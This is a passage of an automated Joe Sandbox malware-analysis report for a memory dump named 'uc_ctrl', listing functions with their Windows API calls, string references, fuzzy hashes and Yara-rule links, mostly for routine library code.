Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: ErrorMode$FileFindNamePath_wcslen
String ID:
API String ID: 2098504600-0
Opcode ID: be5b2eb0522f47d082382145fb0fbd196ec2b1d556909d90e1a5d4c30a55470e
Instruction ID: 91bb05098cad50fda98fb7fbfb71e815cbdc8a4350fc0d1b95172d31170a34c2
Opcode Fuzzy Hash: be5b2eb0522f47d082382145fb0fbd196ec2b1d556909d90e1a5d4c30a55470e
Instruction Fuzzy Hash: 4911C671504248AFDB20AF64C80CF9A3BA9EF06319F108C25F82887B51CB35C555CBBA

Function 6C67B9A1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000060,?,?,?,?,?), ref: 6C67BA24
LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,?,?,?), ref: 6C67BA38

Strings

LOC, xrefs: 6C67B9C6

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: LibraryLoad
String ID: LOC
API String ID: 1029625771-519433814
Opcode ID: 4039a9fc868506d96143035f4db07c6be2e4c9b4cb03fa41fd82093457757390
Instruction ID: 8987b5552f5d1549600f388a265f322fdd6e2ed51f1ab09409b3fb13b405dd8c
Opcode Fuzzy Hash: 4039a9fc868506d96143035f4db07c6be2e4c9b4cb03fa41fd82093457757390
Instruction Fuzzy Hash: 2911A732A11208BFDB24AFA88D49ED93778DB46728F0009B5E605ABA50EE309D489764

Function 6C67B03C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104), ref: 6C67B060
PathFindExtensionW.SHLWAPI(?), ref: 6C67B076

Part of subcall function 6C67A6A6: __EH_prolog3_GS.LIBCMT ref: 6C67A6B0

Strings

%Ts%Ts.dll, xrefs: 6C67B083

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: ExtensionFileFindH_prolog3_ModuleNamePath
String ID: %Ts%Ts.dll
API String ID: 3433622546-1896370695
Opcode ID: d39c0cab42809390f0e6e01c7f0abb0e3807ea706f121a2b20bc48a4a3e21fd0
Instruction ID: 2d6babed16d0472130393f50b3093d4aec83db752a0cae9c39d642b8b2be9e38
Opcode Fuzzy Hash: d39c0cab42809390f0e6e01c7f0abb0e3807ea706f121a2b20bc48a4a3e21fd0
Instruction Fuzzy Hash: CE016232A01118ABDB21EAA4DD48AEF77FCEF49304F0104BAD425D7540EB31EA09CB94

Function 6C679840 Relevance: 4.6, APIs: 3, Instructions: 125COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6C67999B
char_traits.LIBCPMTD ref: 6C6799AE
construct.LIBCPMTD ref: 6C6799E2

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Base::Concurrency::details::ContextIdentityQueueWorkchar_traitsconstruct
String ID:
API String ID: 4230972912-0
Opcode ID: 6c4e6343bd28eee303fc7601e2bbe9795dd7ac27a085cc22f3a30b9bce3c0536
Instruction ID: 14d95e04d22e5abe95abd14c6450a31574d04dd503b46eb2a37a9162233bddbf
Opcode Fuzzy Hash: 6c4e6343bd28eee303fc7601e2bbe9795dd7ac27a085cc22f3a30b9bce3c0536
Instruction Fuzzy Hash: A8413871E141099FDB24DBA8C991AEEB7F5EB8531CF104929D405A7B90DB306E04CBA9

Function 6C6793B0 Relevance: 4.5, APIs: 3, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 6C6795D0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6C6795E1
Part of subcall function 6C6795D0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6C6795EE

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6C6793D1
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6C67940A
char_traits.LIBCPMTD ref: 6C679410

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Base::Concurrency::details::ContextIdentityQueueWork$char_traits
String ID:
API String ID: 1941806930-0
Opcode ID: 80903ebca7ae45cdb54d9c9dadc414104bd5c0ddabceec0f29885cd9b4a5db67
Instruction ID: ea0843a97223cd04630e9b072c62184c251142bf21fda9fea43bf06c184e055d
Opcode Fuzzy Hash: 80903ebca7ae45cdb54d9c9dadc414104bd5c0ddabceec0f29885cd9b4a5db67
Instruction Fuzzy Hash: 27014075604008FBCB18DFA9D991DEE73F9AF89318F108558B9099B740CB30AF04D768

Function 6C6AED6E Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C6AED75

Part of subcall function 6C6AFA50: VerSetConditionMask.KERNEL32(00000000,00000000,00000002,00000003,00000001,00000003), ref: 6C6AFAAD
Part of subcall function 6C6AFA50: VerSetConditionMask.KERNEL32(00000000), ref: 6C6AFAB5
Part of subcall function 6C6AFA50: VerifyVersionInfoW.KERNEL32(0000011C,00000003,00000000), ref: 6C6AFAC6
Part of subcall function 6C6AFA50: GetSystemMetrics.USER32(00001000), ref: 6C6AFAD7

Strings

0a~l, xrefs: 6C6AED81

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: ConditionMask$H_prolog3InfoMetricsSystemVerifyVersion
String ID: 0a~l
API String ID: 2710481357-1841495969
Opcode ID: 8d9ff588ba2546069f8919c7379ac883f0d33a6a6885ab186777339746b115cc
Instruction ID: 4feb56b688b9eb4d701e62c5435f51dd61ba872950337da0275b99bac0f8fc64
Opcode Fuzzy Hash: 8d9ff588ba2546069f8919c7379ac883f0d33a6a6885ab186777339746b115cc
Instruction Fuzzy Hash: 9D51DEB0945F45CFD3A9CF3A85457C6FAE0BF89300F108A2E91AED6760EB7061848F55

Function 6C67A6A6 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C67A6B0

Part of subcall function 6C67A044: __EH_prolog3.LIBCMT ref: 6C67A0F2

Part of subcall function 6C681A46: GetModuleHandleW.KERNEL32(kernel32.dll,?,?), ref: 6C681A79
Part of subcall function 6C681A46: GetProcAddress.KERNEL32(00000000,GetThreadPreferredUILanguages), ref: 6C681A89
Part of subcall function 6C681A46: EncodePointer.KERNEL32(00000000,?,?), ref: 6C681A92

Strings

y, xrefs: 6C67A702

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: AddressEncodeH_prolog3H_prolog3_HandleModulePointerProc
String ID: y
API String ID: 2515442129-4225443349
Opcode ID: 8aada5c0a5fbe4cb595d9ad542d6aa12e34f819eee6ba730ef3fb93c5a7de8a6
Instruction ID: d03eeea662ab7e10785cb9715c244eaab8259625554cf2de26b7989267b9d91a
Opcode Fuzzy Hash: 8aada5c0a5fbe4cb595d9ad542d6aa12e34f819eee6ba730ef3fb93c5a7de8a6
Instruction Fuzzy Hash: EE218C36C041289BDB319B64CD44BDDB378AF12318F0046C5AA84B6690DBB49EC8CFA9

Function 6C660E60 Relevance: 3.1, APIs: 2, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 6C660E88
Concurrency::cancel_current_task.LIBCPMT ref: 6C660EB9

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 242e8afaebc724ed77025805ba762ca639555398dc95c39e4c706d9f0deb9e22
Instruction ID: d7f2f71f8195c2a55b50f7d5d104530915739573c8174dc5e9ff4f3859a5369c
Opcode Fuzzy Hash: 242e8afaebc724ed77025805ba762ca639555398dc95c39e4c706d9f0deb9e22
Instruction Fuzzy Hash: 392163B0D0115CEBDB04DFA9C5847DDBBB1AF44308F1086A9E81567B80D334AB85CB4A

Function 6C67EA42 Relevance: 3.0, APIs: 2, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 6C67FB34: LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,6C68063F,00000000,?,?,6C65F6D7,6C8B244C), ref: 6C67FB48

__CxxThrowException@8.LIBVCRUNTIME ref: 6C67EA4D

Part of subcall function 6C7B6276: RaiseException.KERNEL32(?,?,?,00000001,00000000,?,00000000), ref: 6C7B62D5

__EH_prolog3.LIBCMT ref: 6C67EA5A

Part of subcall function 6C67FBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6C67FBB9

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Exception@8Throw$CriticalExceptionH_prolog3LeaveRaiseSection
String ID:
API String ID: 1434208454-0
Opcode ID: 3634922614299e1f085618a9b6f4761835b40cd509126ea48affa2ec0787eeb9
Instruction ID: 5ba133abeecc6731595b614a0162da3a0fd7bd848a91b256e1b277944fcd6607
Opcode Fuzzy Hash: 3634922614299e1f085618a9b6f4761835b40cd509126ea48affa2ec0787eeb9
Instruction Fuzzy Hash: 2F015E306006059FEF209F648558BD93771AF42758F104A2CE5919BB90EF70C949C7BD

Function 6C67B8FE Relevance: 3.0, APIs: 2, Instructions: 39libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,00000060), ref: 6C67B939
LoadLibraryExW.KERNEL32(?,?,00000002,?,00000060), ref: 6C67B94D

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: aa6649b87eb00c2ba38592e4f6b9df1fe148c5ce8d20eeb68e1c9c3c6e1ac602
Instruction ID: a7961f7b0008f3ebb25b11267157ca3feb94121097ee07172a3b6f998498aa07
Opcode Fuzzy Hash: aa6649b87eb00c2ba38592e4f6b9df1fe148c5ce8d20eeb68e1c9c3c6e1ac602
Instruction Fuzzy Hash: 96F0F633A511059BCF206BA88C8CBE83378AF47319F000AB6E625E79D0EB354B448679

Function 6C67F1EE Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000000,?,?,6C679F33,?,00000000,6C7E3C34,00000000), ref: 6C67F1F4
SetErrorMode.KERNEL32(00000000,?,?,6C679F33,?,00000000,6C7E3C34,00000000), ref: 6C67F200

Part of subcall function 6C67F24C: GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,?), ref: 6C67F287
Part of subcall function 6C67F24C: PathFindExtensionW.SHLWAPI(?), ref: 6C67F2A1

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: ErrorMode$ExtensionFileFindModuleNamePath
String ID:
API String ID: 1764437154-0
Opcode ID: 945a2c8a728bbca8ea60d289014b05b4a0cd8e5c9f3cd95f92a1d3d52b2dcd7e
Instruction ID: e7b6c4fac215a1b71e82c7cb5b5034f4228ccaafd8cc9e7d3dc773adaf80fa4d
Opcode Fuzzy Hash: 945a2c8a728bbca8ea60d289014b05b4a0cd8e5c9f3cd95f92a1d3d52b2dcd7e
Instruction Fuzzy Hash: 7FF090715142449FDB60EFA4C408E5A7BE8EF06358F108869E8188B711CB75C812CBBB

Function 6C67AF82 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C67AF89

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: ad105c7f26be248330353c1e3041d1ee51a7d055d9c35a52f63e228df260f17b
Instruction ID: 83b74b53cd1f010da8129b546a623abf7f0ac48023e624d13a1ebbc547d1286b
Opcode Fuzzy Hash: ad105c7f26be248330353c1e3041d1ee51a7d055d9c35a52f63e228df260f17b
Instruction Fuzzy Hash: CC116331B001258BCF14EF388998BAD73A6AF45658F0504BDC816BF761DF34EC098B99

Function 6C7C3529 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6C7C39D9,00000001,00000364,?,6C7B6FFF,6C7C34C4,?,?,6C67A014,?,00000001,?), ref: 6C7C356A

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 92f399e0c9de81afdd9c2e0ec90d763bba73c3e562fd275be2972ea5dc9eeb32
Instruction ID: 771df4a34de34fd135dacc9fd77a4b3b17c2d3c25366d847b937a9e2302ce65d
Opcode Fuzzy Hash: 92f399e0c9de81afdd9c2e0ec90d763bba73c3e562fd275be2972ea5dc9eeb32
Instruction Fuzzy Hash: 0DF0BB31B455275EEB155A3AEA08AF737589B42768B108131AC14D7A80CB30DA0586D3

Function 6C7C3481 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,6C67A014,?,00000001,?,?,6C660D34,?), ref: 6C7C34B3

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: cb367e0b5cebf0e4c272effc290cda01c6db21be8cfa8fea26fd2320eecfd048
Instruction ID: 8e54e218efa385bd83df73f0d6cbe335a119e988a3b34c908741c325c16ac2ee
Opcode Fuzzy Hash: cb367e0b5cebf0e4c272effc290cda01c6db21be8cfa8fea26fd2320eecfd048
Instruction Fuzzy Hash: A7E0E531306A135EEA131AA98E08BE7375C9B423BCF100130ED3897A84DB2CDA0581E3

Function 6C67B968 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 6C67B988

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
